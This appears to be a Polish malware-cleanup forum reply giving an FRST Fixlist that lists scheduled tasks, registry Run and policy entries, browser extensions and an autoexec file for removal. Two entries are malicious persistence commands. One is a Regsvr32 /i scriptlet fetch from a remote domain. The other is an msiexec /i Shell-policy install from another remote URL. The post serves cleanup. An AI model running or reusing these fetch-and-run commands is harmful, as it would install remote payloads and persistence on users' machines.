Obok frst.exe utworz plik Fixlist.txt z zawartoscia:
Task: {11BA4193-DCCD-4CAE-9831-4BD02AC3B5A3} - System32\Tasks\{012D2586-7E6F-4B5D-9A6C-867692252287} => pcalua.exe -a "D:\SILENT HILL 4.exe" -d D:\
Task: {1A592964-E8D4-4E04-99F3-00886E9E3A5E} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkMj8cNTq5N8NYRTE8MWkcRjk1OYU3FdqdFjJWFdF8M8JSFF== scrobj.dll
Task: {643ECB5E-3D83-40A9-91DB-041DF70D1C8F} - System32\Tasks\{FA26128D-D934-4207-A73F-D2862BD60C63} => pcalua.exe -a "C:\Program Files (x86)\Kolekcja Klasyki\Mafia\start.exe" -d "C:\Program Files (x86)\Kolekcja Klasyki\Mafia"
Task: {69DE3E4F-CE63-4D8B-9774-DAF6033F0652} - System32\Tasks\Microsoft\Office\OfficeBackgroundTaskHandlerLogon => C:\Program Files (x86)\Microsoft Office\root\Office16\officebackgroundtaskhandler.exe [2017-05-26] ()
Task: {7C8AC9B4-118A-4E29-8B2D-8E67A08F10D9} - System32\Tasks\Microsoft\Office\OfficeBackgroundTaskHandlerRegistration => C:\Program Files (x86)\Microsoft Office\root\Office16\officebackgroundtaskhandler.exe [2017-05-26] ()
Task: {9A1D45AC-D628-4050-888D-194A37DAAFD6} - System32\Tasks\Opera scheduled Autoupdate 1454695127 => C:\Program Files (x86)\Opera\launcher.exe [2017-05-31] (Opera Software)
HKU\S-1-5-21-891275390-1262498903-873623778-1001\...\Run: [BingSvc] => C:\Users\Jakub\AppData\Local\Microsoft\BingSvc\BingSvc.exe [144008 2015-11-05] (© 2015 Microsoft Corporation)
HKU\S-1-5-21-891275390-1262498903-873623778-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i
http://point.orangeiloveyou.com/?data=zDlkMj8cNTq5N8NYRTE8MWkcRjk1OYU3FdqdFjJWFdF8M8JSFF== /q
CHR HKLM-x32\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - hxxps://clients2.google.com/service/update2/crx
OPR Extension: (rikaikun) - C:\Users\Jakub\AppData\Roaming\Opera Software\Opera Stable\Extensions\dnjnlpkeemmcejeampdgebjcogbbjlcm [2016-03-24]
2017-05-19 17:10 - 2017-05-19 17:10 - 00000000 _____ C:\autoexec.bat
EmptyTemp:
W FRST wybierz Napraw.
